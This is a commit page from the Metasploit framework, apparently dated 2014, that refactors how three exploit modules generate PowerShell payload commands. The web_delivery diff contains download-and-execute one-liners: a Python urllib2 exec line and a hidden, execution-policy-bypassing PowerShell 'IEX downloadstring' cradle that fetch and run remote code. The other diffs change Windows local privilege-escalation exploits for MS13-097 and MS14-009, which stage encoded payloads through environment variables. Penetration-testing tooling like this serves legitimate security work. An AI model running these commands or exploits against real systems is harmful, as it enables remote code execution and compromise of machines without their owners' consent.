Update newer modules

rapid7 · Jul 20, 2014 · b0a596b · b0a596b
1 parent 5f05336
commit b0a596b
Show file tree

Hide file tree

Showing 3 changed files with 21 additions and 3 deletions.
diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
@@ -87,7 +87,11 @@ def primer
       print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
     when "PSH_x86", "PSH_x64"
       download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
-      print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
+      print_line generate_psh_command_line({
+                                     :noprofile => true,
+                                     :windowstyle => 'hidden',
+                                     :command => download_and_run
+                                 })
     end
   end
 end
diff --git a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
@@ -79,7 +79,14 @@ def exploit
   end
 
   def primer
-    cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
+    cmd = cmd_psh_payload(payload.encoded,
+                          payload_instance.arch.first,
+                          {
+                            :remove_comspec => true
+                          }
+                         )
+
+    cmd.gsub!('powershell.exe ','')
     session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
 
     html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"

diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
@@ -148,7 +148,14 @@ def exploit
 
     print_good(".NET looks vulnerable, exploiting...")
 
-    cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
+    cmd = cmd_psh_payload(payload.encoded,
+                          payload_instance.arch.first,
+                          {
+                            :remove_comspec => true
+                          }
+                         )
+
+    cmd.gsub!('powershell.exe ','')
     session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
 
     temp = get_env('TEMP')